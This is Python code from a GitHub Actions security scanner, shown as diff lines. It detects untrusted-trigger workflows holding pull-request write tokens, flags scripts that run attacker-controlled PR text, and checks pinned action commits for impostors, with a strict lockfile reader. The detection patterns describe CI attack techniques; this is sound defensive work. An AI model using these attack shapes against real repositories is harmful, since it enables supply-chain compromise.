- permissions = node.get("permissions")
- if isinstance(permissions, str) \
- and permissions.strip().lower() == "write-all":
- yield path + ("permissions",)
- if (
- "pull-requests" in node
- and isinstance(node["pull-requests"], str)
- and node["pull-requests"].lower() == "write"
- ):
- yield path + ("pull-requests",)
- for k, v in node.items():
- yield from _walk_pull_requests_write(
- v, path + (str(k),), depth + 1
- )
- elif isinstance(node, list):
- for i, item in enumerate(node):
- yield from _walk_pull_requests_write(
- item, path + (str(i),), depth + 1
- )
- def _find_pull_requests_write_line(lines: list[str]) -> int | None:
- """Best-effort line number for the actual `pull-requests: write` token.
- Scans `lines` for the literal ``pull-requests:`` key. Accepts two
- spellings:
- * Inline value on the same line: ``pull-requests: write``
- * Block style with value on the next non-empty line:
- ``pull-requests:\\n write``
- Returns the line of the first match; falls back to ``None`` so the
- caller can substitute the workflow-level ``permissions:`` line. This
- is strictly more accurate than the previous behavior of always
- reporting the workflow-level ``permissions:`` line, which is
- misleading when ``pull-requests: write`` is actually granted at job
- scope.
- """
- key_re = re.compile(r"^\s*pull-requests\s*:\s*(.*?)\s*(?:#.*)?$")
- for i, line in enumerate(lines, start=1):
- m = key_re.match(line)
- if not m:
- continue
- value = m.group(1)
- if value:
- if value.strip().strip('"').strip("'").lower() == "write":
- return i
- continue
- # block style — look ahead for the next non-empty, non-comment line.
- for j in range(i, len(lines)):
- nxt = lines[j].strip()
- if not nxt or nxt.startswith("#"):
- continue
- if nxt.strip().strip('"').strip("'").lower() == "write":
- return i
- break
- return None
- def _p1418_grants_pr_write(permissions: Any) -> bool:
- """Whether one workflow/job permissions value grants PR write access."""
- if isinstance(permissions, str):
- return permissions.strip().lower() == "write-all"
- if not isinstance(permissions, dict):
- return False
- value = permissions.get("pull-requests")
- return isinstance(value, str) and value.strip().lower() == "write"
- def _p1418_write_scoped_jobs(doc: dict[str, Any]) -> list[tuple[str, dict[str, Any]]]:
- """Jobs whose effective permissions include ``pull-requests: write``.
- A job-level permissions block replaces the workflow-level block; an
- unrelated read-only job therefore cannot lend its steps to the job that
- owns the write token, or make that token look more dangerous than it is.
- """
- workflow_write = _p1418_grants_pr_write(doc.get("permissions"))
- scoped: list[tuple[str, dict[str, Any]]] = []
- for name, job in _walk_jobs(doc):
- if "permissions" in job:
- has_write = _p1418_grants_pr_write(job.get("permissions"))
- else:
- has_write = workflow_write
- if has_write:
- scoped.append((name, job))
- return scoped
- _P1418_COSMETIC_CALL_RE = re.compile(
- r"^\s*(?:await\s+)?(?:github\.)?(?:rest\.)?issues\."
- r"(?:addLabels|createComment)\s*\(",
- re.I,
- )
- def _p1418_js_lstrip(line: str) -> str:
- """Strip leading whitespace JavaScript accepts but Python may not.
- Python's ``str.lstrip`` covers the ordinary JavaScript whitespace set but
- not U+FEFF. JavaScript accepts U+FEFF before the line-leading ``-->``
- comment token, so skipping it here would let executable text hide behind
- what this narrow recognizer mistakes for an argument string.
- """
- stripped = line.lstrip()
- while stripped.startswith("\ufeff"):
- stripped = stripped[1:].lstrip()
- return stripped
- def _p1418_is_one_cosmetic_call(script: str) -> bool:
- """Prove the narrow inline-script shape eligible for MEDIUM.
- The accepted program is exactly one label/comment API call. Its argument
- may be an object or arrays of literal labels, but it may not contain a
- nested call, a template expression, or trailing JavaScript. This is
- intentionally a positive proof rather than a deny-list of dangerous JS.
- """
- if "${{" in script or "`" in script:
- return False
- if any(_p1418_js_lstrip(line).startswith("-->")
- for line in script.splitlines()):
- return False
- match = _P1418_COSMETIC_CALL_RE.match(script)
- if match is None:
- return False
- opening = match.end() - 1
- depth = 0
- quote: str | None = None
- escaped = False
- for index in range(opening, len(script)):
- char = script[index]
- if quote is not None:
- if escaped:
- escaped = False
- elif char == "\\":
- escaped = True
- elif char == quote:
- quote = None
- continue
- # This is a deliberately small recognizer, not a JavaScript parser.
- # Quotes inside comments and regex literals have different lexical
- # rules and can otherwise desynchronise the string state below. Fail
- # closed on every such shape instead of proving it cosmetic.
- if char == "/" or script.startswith("<!--", index):
- return False
- if char in ("'", '"', "`"):
- quote = char
- elif char == "(":
- depth += 1
- if depth > 1:
- return False
- elif char == ")":
- depth -= 1
- if depth == 0:
- return not script[index + 1:].strip().strip(";").strip()
- if depth < 0:
- return False
- return False
- def _p1418_script_risk(script: str) -> str | None:
- """Specific HIGH reason for a script, before the generic fail-closed one."""
- for expression in re.findall(r"\$\{\{.*?\}\}", script, re.S):
- lowered = expression.lower()
- if ("github.event.pull_request." in lowered or "github.head_ref" in lowered) \
- and not _is_shape_safe_expression(expression):
- return "executes attacker-controlled PR text"
- flattened = re.sub(r"[\s.\[\]'\"]+", ".", script.lower())
- if "pulls.createreview" in flattened \
- or re.search(r"/pulls/[^'\"\s]+/reviews\b", script, re.I):
- return "review API"
- if "pulls.merge" in flattened \
- or re.search(r"/pulls/[^'\"\s]+/merge\b", script, re.I):
- return "merge API"
- return None
- def _correlation_pr_write_and_untrusted_trigger(
- file_path: Path,
- ) -> Iterator[RawHit]:
- """P14.18 — workflow has untrusted-event trigger AND `pull-requests: write`
- at any scope."""
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- on_node = _get_on_node(doc)
- triggers = set(_on_trigger_names(on_node)) if on_node is not None else set()
- untrusted = triggers & _UNTRUSTED_TRIGGERS
- if not untrusted:
- return
- pr_write_paths = list(_walk_pull_requests_write(doc))
- if not pr_write_paths:
- return
- sample_scope = ".".join(pr_write_paths[0])
- line = _find_pull_requests_write_line(text.splitlines()) or _find_line_for_top_level_key(
- text.splitlines(), "permissions"
- ) or 1
- risk_reasons: list[str] = []
- scoped_jobs = _p1418_write_scoped_jobs(doc)
- # A job-level permissions block replaces the workflow-level grant. A
- # workflow-wide write-all declaration therefore exposes no PR-write token
- # when every job narrows it to a read-only block.
- if not scoped_jobs:
- return
- all_scoped_jobs_cosmetic = bool(scoped_jobs)
- for _job_name, job in scoped_jobs:
- steps = _job_steps(job)
- job_is_cosmetic = len(steps) == 1
- if not steps:
- job_is_cosmetic = False
- for step in steps:
- uses = step.get("uses")
- with_block = step.get("with")
- if isinstance(uses, str) and uses.startswith("actions/checkout") \
- and isinstance(with_block, dict) \
- and any(_attacker_head_ref(with_block.get(key))
- for key in ("ref", "repository")):
- risk_reasons.append("checks out attacker-head PR code")
- run = step.get("run")
- if isinstance(run, str) and re.search(
- r"\$\{\{\s*(?:github\.event\.pull_request\.(?!number\b|id\b|commits\b|sha\b|head_sha\b|merge_commit_sha\b|fork\b|merged\b|author_association\b)|github\.head_ref\b)",
- run,
- ):
- risk_reasons.append("executes attacker-controlled PR text")
- script = with_block.get("script") if isinstance(with_block, dict) else None
- action_id = uses.split("@", 1)[0].lower() if isinstance(uses, str) else ""
- is_github_script = (
- action_id == "actions/github-script"
- and isinstance(script, str)
- )
- if is_github_script:
- specific_risk = _p1418_script_risk(script)
- if specific_risk:
- risk_reasons.append(specific_risk)
- if not _p1418_is_one_cosmetic_call(script):
- job_is_cosmetic = False
- else:
- job_is_cosmetic = False
- all_scoped_jobs_cosmetic = all_scoped_jobs_cosmetic and job_is_cosmetic
- # Preserve order while keeping the evidence compact when two risky legs
- # coexist in one workflow.
- risk_reasons = list(dict.fromkeys(risk_reasons))
- if not risk_reasons and not all_scoped_jobs_cosmetic:
- risk_reasons.append(
- "workflow is not limited to label/comment-only github-script automation"
- )
- if risk_reasons:
- profile = "; HIGH because " + ", ".join(risk_reasons)
- severity_override: Severity | None = None
- attacker_scenario = None
- fix_strategy_override = None
- fix_guidance = None
- else:
- profile = (
- "; MEDIUM hygiene: no checkout, no PR-code execution, and no "
- "review/merge API"
- )
- severity_override = "MEDIUM"
- attacker_scenario = (
- "A pull request author can influence cosmetic label or comment "
- "automation, but this workflow does not execute PR content or "
- "call review or merge APIs."
- )
- fix_strategy_override = "limit-cosmetic-pr-automation"
- fix_guidance = (
- "Keep the job limited to cosmetic labeling or commenting; remove "
- "`pull-requests: write` if it is unused, and do not add PR-head "
- "checkout, PR-controlled execution, or review/merge API calls."
- )
- yield RawHit(
- line=line,
- evidence=(
- f"{line:>4}: workflow triggers on {sorted(untrusted)} AND "
- f"grants `pull-requests: write` at scope `{sample_scope}`"
- f"{profile} <-- here"
- ),
- match_text=sample_scope,
- derived=True,
- severity_override=severity_override,
- attacker_scenario=attacker_scenario,
- fix_strategy_override=fix_strategy_override,
- fix_guidance=fix_guidance,
- )
- # Correlation function dispatch tables — METADATA's `correlation:` key
- # names one of these. The type alias documents (and lets a type checker
- # enforce) that each value is a callable from a workflow `Path` to a
- # stream of `RawHit`s. `_FILE_CHECKS` shares the same signature but is
- # called with the repo root rather than a workflow path; treating both
- # as `Callable[[Path], Iterator[RawHit]]` keeps catalog validation
- # uniform.
- _Correlation = Callable[[Path], Iterator[RawHit]]
- _JOB_CORRELATIONS: dict[str, _Correlation] = {
- "credential-file-in-cache-or-artifact": _correlation_credential_file_in_cache_or_artifact,
- "install-scripts-in-privileged-job": _correlation_install_scripts_in_privileged_job,
- "unverified-remote-code-execution": _correlation_unverified_remote_code_execution,
- }
- _WORKFLOW_CORRELATIONS: dict[str, _Correlation] = {
- "untrusted-trigger-writes-cache": _correlation_untrusted_trigger_writes_cache,
- "pr-write-and-untrusted-trigger": _correlation_pr_write_and_untrusted_trigger,
- "untrusted-checkout-executes": _correlation_untrusted_checkout_executes,
- }
- # -----------------------------------------------------------------------------
- # repo-file-check: reads a file outside .github/workflows/
- # -----------------------------------------------------------------------------
- _FILE_CHECKS: dict[str, _Correlation] = {
- # Empty since the critical-only descope: the presence-shaped repo-file
- # checks (scanner-installed, tag-pin audit, CODEOWNERS) left the catalog —
- # promoted to scored config facts or dropped. The
- # repo-file-check detector machinery stays for future catalog entries.
- }
- def _validate_catalog_dispatch(entries: list[CatalogEntry]) -> list[CatalogEntry]:
- """Raise if any correlation/file_check identifier is unknown.
- Catches METADATA typos at catalog load time rather than at scan time.
- Dropping the entry instead would delete a whole chain from the scan
- while the report still claimed full coverage, so an unresolvable
- dispatch id fails the load outright.
- """
- for entry in entries:
- if entry.detector == "yaml-job-correlated":
- if entry.correlation not in _JOB_CORRELATIONS:
- raise ValueError(
- f"Pattern {entry.pattern}: unknown correlation "
- f"{entry.correlation!r} for {entry.detector}"
- )
- elif entry.detector == "yaml-workflow-correlated":
- if entry.correlation not in _WORKFLOW_CORRELATIONS:
- raise ValueError(
- f"Pattern {entry.pattern}: unknown correlation "
- f"{entry.correlation!r} for {entry.detector}"
- )
- elif entry.detector == "repo-file-check":
- if entry.file_check not in _FILE_CHECKS:
- raise ValueError(
- f"Pattern {entry.pattern}: unknown file_check "
- f"{entry.file_check!r} for {entry.detector}"
- )
- return entries
- def _prefetch_activity(
- repo: str, workflow_files: list[Path], root: Path, max_workers: int = 12,
- ) -> dict[str, dict[str, Any]]:
- """Concurrently fetch workflow activity for every workflow file.
- Activity enrichment is one network-latency-bound gh API call per
- workflow. Done serially (the old inline-in-the-detector-loop path) it
- dominated scan time — ~2s × N workflows. The calls are independent and
- read-only, so a bounded thread pool collapses N round-trips into roughly
- one. Returns ``{rel_path: activity_dict}``; a per-workflow failure is
- captured as ``{"status": "unavailable", ...}`` (never raised), so one bad
- call can't abort the whole scan while still reading as "checked and
- failed" rather than "never attempted".
- """
- if not workflow_files:
- return {}
- def _one(wf: Path) -> tuple[str, dict[str, Any]]:
- rel = str(wf.relative_to(root))
- try:
- return rel, fetch_workflow_activity(
- repo, wf.name, workflow_call_only=_is_workflow_call_only(wf),
- )
- # One workflow's failure must not abort the scan — but it must NOT
- # collapse to `{}` either: `{}` means "enrichment never ran" (no
- # --repo), and the report reads that as no data rather than a failed
- # check, so a rate-limited workflow would silently look active.
- except (OSError, ValueError, RuntimeError, subprocess.SubprocessError) as e:
- logger.warning("activity prefetch failed for %s: %s", rel, e)
- return rel, {"status": "unavailable", "reason": str(e)}
- workers = min(max_workers, len(workflow_files))
- with ThreadPoolExecutor(max_workers=workers) as ex:
- return dict(ex.map(_one, workflow_files))
- # Anchored at the start of the (comment-stripped) line: a pin is a step's
- # `uses:` KEY, optionally introduced by the `- ` list dash. Anchoring — rather
- # than searching anywhere in the line — is what keeps commented-out pins
- # (`# - uses: old/action@<sha>`) and `uses:` text quoted inside a `run:` block
- # scalar (`echo "uses: evil/repo@<sha>"`) out of the pin set. Both would
- # otherwise become network-checked, and a 404 on either would render as a
- # CRITICAL impostor finding pointing at a line that is not an action reference.
- _USES_SHA_LINE_RE = re.compile(
- r"^\s*(?:-\s*)?uses\s*:\s*[\"']?"
- r"([A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+)(?:/[^@\s\"']+)?@([0-9a-fA-F]{40})\b"
- )
- def _strip_yaml_comment(line: str) -> str:
- """Drop a trailing `#` comment. Safe for this regex's alphabet: neither an
- `owner/repo[/path]` nor a 40-hex sha can contain `#`, so cutting at the
- first `#` never truncates a real pin — it only removes the commentary
- after it (`uses: a/b@<sha> # v4.1.1` keeps its pin)."""
- idx = line.find("#")
- return line if idx < 0 else line[:idx]
- # The same shape, matched against a `uses:` VALUE already extracted from the
- # parsed YAML (so quoting, folded scalars and flow style are already resolved).
- _PIN_VALUE_RE = re.compile(
- r"^([A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+)(?:/[^@\s]+)?@([0-9a-fA-F]{40})$"
- )
- def _walk_uses_values(node: Any, depth: int = 0) -> Iterator[str]:
- """Every `uses:` string value in a parsed workflow, in document order.
- Covers step `uses:` and job-level `uses:` (reusable workflows) at any
- nesting depth. Bounded by ``_WALK_MAX_DEPTH`` like the other walkers —
- and, like them, the cap is announced: pins below it are never checked,
- which for a network-gated detector reads as clean.
- """
- if depth > _WALK_MAX_DEPTH:
- logger.warning(
- "_walk_uses_values: recursion depth cap (%d) exceeded — stopping "
- "descent; deeper `uses:` pins (if any) will NOT be collected or "
- "impostor-checked",
- _WALK_MAX_DEPTH,
- )
- return
- if isinstance(node, dict):
- value = node.get("uses")
- if isinstance(value, str):
- yield value.strip()
- for child in node.values():
- yield from _walk_uses_values(child, depth + 1)
- elif isinstance(node, list):
- for item in node:
- yield from _walk_uses_values(item, depth + 1)
- def _sha_line_candidates(text: str, sha: str) -> list[int]:
- """Line numbers whose code (comments stripped) contains `sha`, in order.
- A 40-hex sha is effectively unique within a workflow, so this locates a
- pin's line exactly — including when the value sits on a folded-scalar
- continuation line, where the `uses:` key is on a different line.
- """
- lines = text.splitlines()
- hits = [i for i, line in enumerate(lines, start=1)
- if sha in _strip_yaml_comment(line).lower()]
- if hits:
- return hits
- # Only a commented-out occurrence — fall back to it rather than losing
- # the line number entirely.
- return [i for i, line in enumerate(lines, start=1) if sha in line.lower()]
- def _collect_sha_pins(
- root: Path, workflow_files: list[Path]
- ) -> list[tuple[str, int, str, str]]:
- """Every `uses: owner/repo[/path]@<40-hex>` pin: (rel_file, line, repo, sha).
- Pins come from the PARSED workflow, not from a line scan, because the two
- failure directions both matter for a network-gated critical check:
- * a line scan collects things that are not action references — a
- commented-out `# - uses: old/action@<sha>` or a `uses:` string quoted
- inside a `run:` block — and a 404 on either renders as a CRITICAL
- impostor finding on a line that pins nothing;
- * a line scan misses references that are not written on one line —
- a folded scalar (`uses: >-` with the value below) or flow style
- (`- {uses: owner/repo@<sha>}`) — and a missed pin is a silent clean.
- Parsing answers both: the walk sees resolved `uses:` values only. Line
- numbers stay exact by locating the sha itself in the text. Local (`./…`)
- and `docker://` references never match the pin shape. If a workflow does
- not parse, fall back to the anchored line regex rather than dropping its
- pins (an unparseable file is already surfaced as a coverage gap).
- """
- pins: list[tuple[str, int, str, str]] = []
- for wf in workflow_files:
- text = _read_text_safe(wf)
- if not text:
- continue
- rel = str(wf.relative_to(root))
- doc = _parse_yaml_text(text, wf)
- if not isinstance(doc, dict):
- for lineno, line in enumerate(text.splitlines(), start=1):
- m = _USES_SHA_LINE_RE.match(_strip_yaml_comment(line))
- if m:
- pins.append((rel, lineno, m.group(1), m.group(2).lower()))
- continue
- used_lines: dict[str, int] = {}
- for value in _walk_uses_values(doc):
- m = _PIN_VALUE_RE.match(value)
- if not m:
- continue
- sha = m.group(2).lower()
- candidates = _sha_line_candidates(text, sha)
- idx = used_lines.get(sha, 0)
- # Repeats of one pin consume successive occurrences; past the end,
- # reuse the last known line rather than inventing one.
- lineno = candidates[min(idx, len(candidates) - 1)] if candidates else 1
- used_lines[sha] = idx + 1
- pins.append((rel, lineno, m.group(1), sha))
- return pins
- # ---- GitHub Actions workflow lockfile ---------------------------------------
- #
- # `gh actions-lock` writes `.github/workflows/actions.lock`: the workflow YAML
- # keeps `uses: owner/repo@v7.0.1` and the commit that runs lives only in the
- # lockfile. For a workflow listed under `workflows:`, GitHub runs the locked
- # commit and, at run time, rejects one that is not reachable from its recorded
- # ref or whose owner/repository identity no longer matches. P14.11 reads only
- # full-commit `uses:` pins, so on a locked repository it has nothing to check;
- # `_action_lockfile_summary` makes that visible instead of silent.
- #
- # A minimal, fail-closed reader of the same format ci-score credits (skills
- # install standalone, so no cross-skill import). Its accept/reject verdict is
- # pinned against ci-score's reader by tests/test_action_lockfile_parity.py at
- # the repo root. Shape (format v0.0.x):
- # version: 'v0.0.3'
- # workflows: {'.github/workflows/ci.yml': ['actions/checkout@v7.0.1', ...]}
- # dependencies: {'actions/checkout@v7.0.1': {ref, commit: 'sha1-<40 hex>',
- # owner_id, repo_id, uses?}}
- _LOCKFILE_REL = ".github/workflows/actions.lock"
- _LOCK_COMMIT_RE = re.compile(r"\Asha1-[0-9a-f]{40}\Z")
- _LOCK_VERSIONS = ("v0.0.2", "v0.0.3") # the versions ci-score accepts (GitHub's docs show v0.0.3)
- _LOCK_WORKFLOW_KEY_RE = re.compile(r"\A\.github/workflows/[^/]+\Z")
- _LOCK_SHA40_RE = re.compile(r"\A[0-9a-f]{40}\Z")
- class _StrictLockLoader(yaml.SafeLoader):
- """SafeLoader that refuses a duplicated mapping key: plain yaml keeps the
- LAST of two equal keys, so a malformed entry followed by a valid one would
- read as valid."""
- def _lock_no_duplicate_keys(loader: yaml.SafeLoader, node: Any,
- deep: bool = False) -> Any:
- seen: set[Any] = set()
- for key_node, _value_node in node.value:
- key = loader.construct_object(key_node, deep=deep)
- try:
- dup = key in seen
- seen.add(key)
- except TypeError:
- raise yaml.YAMLError("unhashable mapping key")
- if dup:
- raise yaml.YAMLError(f"duplicated key {key!r}")
- return loader.construct_mapping(node, deep=deep)
- _StrictLockLoader.add_constructor(
- yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, _lock_no_duplicate_keys)
- def _lock_ref_key(text: Any) -> str | None:
- """`owner/repo[/path]@ref` → the lookup key (owner/repo matched
- case-insensitively, as GitHub resolves them; the ref exactly)."""
- if not isinstance(text, str) or "@" not in text:
- return None
- action, _, ref = text.partition("@")
- return f"{action.strip().lower()}@{ref.strip()}"
- def _load_action_lockfile(root: Path) -> tuple[str, dict[str, set[str]]]:
- """(state, per_workflow): state is "absent", "valid" or "invalid";
- per_workflow maps each listed workflow to the reference keys locked for it.
- Fails CLOSED — anything this reader cannot fully vouch for is "invalid"
- and covers nothing: a file not spelled exactly `actions.lock` (GitHub
- reads only that path), a symbolic link, unreadable bytes, YAML that does
- not parse or repeats a key, an unknown top-level key, an undocumented
- format version, a commit that is not `sha1-` plus 40 hex, a missing ref /
- owner_id / repo_id, an entry whose `ref` disagrees with its key, a
- reference listed (or named in `uses:`) with no entry of its own, or a
- workflow key that is not exactly `.github/workflows/<file>`."""
- bad: tuple[str, dict[str, set[str]]] = ("invalid", {})
- wf_dir = root / ".github" / "workflows"
- try:
- names = os.listdir(wf_dir)
- except OSError:
- return "absent", {}
- if "actions.lock" not in names:
- # A case variant is not GitHub's lockfile either; it covers nothing.
- return ("invalid", {}) if any(n.lower() == "actions.lock" for n in names) \
- else ("absent", {})
- path = wf_dir / "actions.lock"
- if path.is_symlink() or not path.is_file():
- return bad
- try:
- loader = _StrictLockLoader(path.read_text(encoding="utf-8"))
- try:
- doc = loader.get_single_data()
- finally:
- loader.dispose()
- except (OSError, ValueError, yaml.YAMLError):
- return bad
- if not isinstance(doc, dict) or set(doc) - {"version", "workflows", "dependencies"}:
- return bad
- wfs, deps = doc.get("workflows"), doc.get("dependencies")
- if (doc.get("version") not in _LOCK_VERSIONS
- or not isinstance(wfs, dict) or not isinstance(deps, dict)):
- return bad
- valid: set[str] = set()
- nested: set[str] = set()
- for key, entry in deps.items():
- k = _lock_ref_key(key)
- if (k is None or not isinstance(entry, dict)
- or not isinstance(entry.get("ref"), str)
- or not (isinstance(entry.get("commit"), str)
- and _LOCK_COMMIT_RE.match(entry["commit"]))
- or not all(isinstance(entry.get(f), int)
- and not isinstance(entry.get(f), bool)
- for f in ("owner_id", "repo_id"))):
- return bad
- key_ref = key.partition("@")[2].strip()
- if _LOCK_SHA40_RE.match(key_ref):
- if entry["commit"] != f"sha1-{key_ref}":
- return bad
- elif entry["ref"] != key_ref:
- return bad
- uses = entry.get("uses", [])
- if not isinstance(uses, list) or any(_lock_ref_key(u) is None for u in uses):
- return bad
- valid.add(k)
- nested.update(_lock_ref_key(u) for u in uses)
- per_workflow: dict[str, set[str]] = {}
- for wf, refs in wfs.items():
- if (not isinstance(wf, str) or not isinstance(refs, list)
- or not _LOCK_WORKFLOW_KEY_RE.match(wf)
- or os.path.normpath(wf) != wf or wf in per_workflow):
- return bad
- keys = [_lock_ref_key(r) for r in refs]
- if any(k is None or k not in valid for k in keys):
- return bad
- per_workflow[wf] = set(keys)
- if not nested <= valid:
- return bad
- return "valid", per_workflow
- def _lock_step_uses(doc: Any) -> Iterator[str]:
- """Each step-level `uses:` value (`jobs.<id>.steps[].uses`), in order.
- Deliberately NOT `_walk_uses_values`: GitHub's lockfile does not pin a
- call to a reusable workflow (`jobs.<id>.uses`), so a lockfile entry for
- one is never verified at run time, and an action input named `uses`
- under `with:` is not a reference at all. Same rule as ci-score's
- `_step_uses`."""
- jobs = doc.get("jobs") if isinstance(doc, dict) else None
- if not isinstance(jobs, dict):
- return
- for job in jobs.values():
- steps = job.get("steps") if isinstance(job, dict) else None
- if not isinstance(steps, list):
- continue
- for step in steps:
- if isinstance(step, dict) and isinstance(step.get("uses"), str):
- yield step["uses"].strip()
- def _lockfile_display_path(root: Path, state: str) -> str:
- """The lockfile path to name: a case variant (`Actions.lock`) is named as
- it is on disk, so the report never points at a file that is not there."""
- if state != "invalid":
- return _LOCKFILE_REL
- try:
- names = os.listdir(root / ".github" / "workflows")
- except OSError:
- return _LOCKFILE_REL
- if "actions.lock" in names:
- return _LOCKFILE_REL
- variants = sorted(n for n in names if n.lower() == "actions.lock")
- return f".github/workflows/{variants[0]}" if variants else _LOCKFILE_REL
- def _action_lockfile_summary(root: Path,
- workflow_files: list[Path]) -> dict[str, Any]:
- """What the lockfile covers that P14.11 does not read.
- Counts each step-level `uses:` occurrence, in a scanned workflow the
- lockfile lists, whose ref is NOT a full commit and that the lockfile
- locks for that workflow — the references whose commit lives only in the
- lockfile. A full-commit pin is left to P14.11, which checks it directly;
- a reusable-workflow call is never counted (the lockfile does not pin
- it). Always returns the key set so report.py can rely on it."""
- state, per_workflow = _load_action_lockfile(root)
- covered = 0
- covered_workflows: list[str] = []
- if state == "valid":
- for wf in workflow_files:
- rel = _repo_relative(str(wf), root)
- locked = per_workflow.get(rel)
- if not locked:
- continue
- text = _read_text_safe(wf)
- doc = _parse_yaml_text(text, wf, quiet=True) if text else None
- if not isinstance(doc, dict):
- continue # an unparseable workflow is already a coverage gap
- n = 0
- for value in _lock_step_uses(doc):
- k = _lock_ref_key(value)
- if (k is None or value.startswith(("./", "docker://"))
- or _LOCK_SHA40_RE.match(k.rpartition("@")[2].lower())):
- continue
- if k in locked:
- n += 1
- if n:
- covered += n
- covered_workflows.append(rel)
- logger.debug("action lockfile: state=%s, %d reference(s) in %d workflow(s)",
- state, covered, len(covered_workflows))
- return {
- "path": _lockfile_display_path(root, state),
- "state": state,
- "covered_references": covered,
- "covered_workflows": covered_workflows,
- }
- @lru_cache(maxsize=None)
- def _gh_repo_visible(repo: str) -> bool:
- """Can this `gh` identity see `repo` at all? The commit endpoint answers
- 404 both for 'the canonical repo never contained this commit' (the
- impostor chain) AND for 'you cannot see this repo' — GitHub returns 404,
- not 403, for private resources. Without this probe, a private/internal
- shared-action repo the running token lacks access to would be reported as
- a CRITICAL impostor finding."""
- try:
- result = subprocess.run(
- ["gh", "api", f"repos/{repo}", "--silent",
- "--hostname", "github.com"],
- capture_output=True, text=True, timeout=30,
- )
- except (subprocess.TimeoutExpired, FileNotFoundError):
- return False
- return result.returncode == 0
- _SHA40_RE = re.compile(r"[0-9a-f]{40}")
- # An annotated tag may point at another tag object. Real repos never nest more
- # than once or twice; the bound just stops a malicious or broken cycle.
- _MAX_TAG_PEEL_DEPTH = 5
- def _gh_commit_probe(repo: str, sha: str) -> bool | None:
- """Raw `repos/{repo}/commits/{sha}` verdict: True (present), False (the API
- says absent or unprocessable), None (unknowable — network, rate limit, auth).
- """
- try:
- result = subprocess.run(
- ["gh", "api", f"repos/{repo}/commits/{sha}", "--silent",
- "--hostname", "github.com"],
- capture_output=True, text=True, timeout=30,
- )
- except (subprocess.TimeoutExpired, FileNotFoundError):
- return None
- if result.returncode == 0:
- return True
- stderr = result.stderr or ""
- if "HTTP 404" in stderr or "Not Found" in stderr or "HTTP 422" in stderr:
- return False
- logger.debug("impostor check inconclusive for %s@%s: %s", repo, sha, stderr.strip())
- return None
- def _gh_peel_tag_object(repo: str, sha: str) -> tuple[str | None, bool]:
- """Peel `sha` as an annotated TAG object in `repo`.
- Returns ``(peeled_commit_sha, answered)``. ``answered=True`` means "the API
- gave us a real answer about this object"; ``answered=False`` means "we do
- not know", which degrades to unverified rather than manufacturing an
- accusation out of a transient error — the exact class of false accusation
- this check exists to avoid.
- Branch by branch:
- - tag peels to a ``commit`` object → ``(commit_sha, True)``.
- - explicit 404/422 from ``git/tags`` → ``(None, True)``. This is the ONLY
- way this function reports an absence: the API said there is no such tag
- object here.
- - any other non-zero exit (rate limit, auth, 5xx) → ``(None, False)``.
- - ``TimeoutExpired`` / ``FileNotFoundError`` (no gh on PATH) →
- ``(None, False)``.
- - malformed / non-JSON body, or an ``object.sha`` that is not 40 hex →
- ``(None, False)``. We asked and got noise; noise is not an absence.
- - tag target is neither ``commit`` nor ``tag`` → ``(None, False)``.
- - cycle detected, or ``_MAX_TAG_PEEL_DEPTH`` exhausted → ``(None, False)``.
- "We gave up walking this chain" is not "the object is absent"; returning
- True there rendered a broken or unusually deep tag chain as an impostor
- accusation.
- `repos/{repo}/commits/{sha}` answers 404/422 for a tag object's own sha, so
- a workflow pinned to the sha of an annotated release tag — which real
- actions publish (astral-sh/setup-uv, pnpm/action-setup) — would otherwise be
- reported as a fork-only or dangling commit. It is a legitimate pin to an
- object the canonical repo really contains.
- """
- seen: set[str] = set()
- current = sha
- for _ in range(_MAX_TAG_PEEL_DEPTH):
- if current in seen:
- logger.debug(
- "tag peel cycled at %s@%s — unresolved, not an absence",
- repo, current,
- )
- return None, False
- seen.add(current)
- try:
- result = subprocess.run(
- ["gh", "api", f"repos/{repo}/git/tags/{current}",
- "--hostname", "github.com"],
- capture_output=True, text=True, timeout=30,
- )
- except (subprocess.TimeoutExpired, FileNotFoundError):
- return None, False
- if result.returncode != 0:
- stderr = result.stderr or ""
- definitive = (
- "HTTP 404" in stderr or "Not Found" in stderr
- or "HTTP 422" in stderr
- )
- if not definitive:
- logger.debug(
- "tag peel inconclusive for %s@%s: %s",
- repo, current, stderr.strip(),
- )
- return None, definitive
- try:
- obj = (json.loads(result.stdout or "{}") or {}).get("object") or {}
- target_type = obj.get("type")
- target_sha = obj.get("sha")
- except (ValueError, TypeError, AttributeError):
- return None, False
- if not isinstance(target_sha, str) or not _SHA40_RE.fullmatch(target_sha):
- return None, False
- if target_type == "commit":
- return target_sha, True
- if target_type != "tag":
- # A tag pointing at a tree or a blob: we cannot follow it to a
- # commit, but the canonical repo did serve the object. "Cannot
- # resolve" is not "absent".
- logger.debug(
- "tag %s@%s targets a %r — unresolved, not an absence",
- repo, current, target_type,
- )
- return None, False
- current = target_sha
- logger.debug(
- "tag peel exceeded depth %d for %s@%s — unresolved, not an absence",
- _MAX_TAG_PEEL_DEPTH, repo, sha,
- )
- return None, False
- def _gh_commit_in_repo(repo: str, sha: str) -> bool | None:
- """Does the canonical `repo` contain the object this workflow pins?
- True/False, or None when the answer is unknowable right now (network error,
- rate limit, a repo this identity cannot see) — an unknown must never be
- reported as either clean or impostor.
- A pin may name a commit OR an annotated tag object. A tag is peeled to the
- commit it points at and that commit is re-probed.
- KNOWN LIMITATION, measured rather than assumed: BOTH endpoints answer about
- the fork NETWORK, not about this repository. `repos/octocat/Hello-World/
- commits/c5a5e51…` returns 200 for a commit that lives only in a fork and is
- reachable from no upstream branch (re-confirmed on `github/gitignore`). So
- a 200 is not proof of canonical containment, and an impostor object planted
- in a fork of the action's own repo reads CLEAN here. What this check
- reliably catches is the pin that resolves to NOTHING in the network at all
- — a deleted, dangling or never-pushed object, the tj-actions shape. Closing
- the fork gap needs a ref-reachability test this API does not offer; see the
- catalog's P14.11 limitation note. The peel still matters: it stops a
- legitimate annotated-release pin from being called an impostor.
- """
- verdict = _gh_commit_probe(repo, sha)
- if verdict is not False:
- return verdict
- # 422 = malformed sha for this repo; 404 = object absent OR repo invisible.
- # Only claim "impostor" once we've confirmed we can actually see the repo —
- # one extra cached call, on the flag path only.
- if not _gh_repo_visible(repo):
- logger.debug(
- "impostor check inconclusive for %s@%s: repo not visible to this "
- "gh identity (private or nonexistent) — not flagged", repo, sha,
- )
- return None
- peeled, answered = _gh_peel_tag_object(repo, sha)
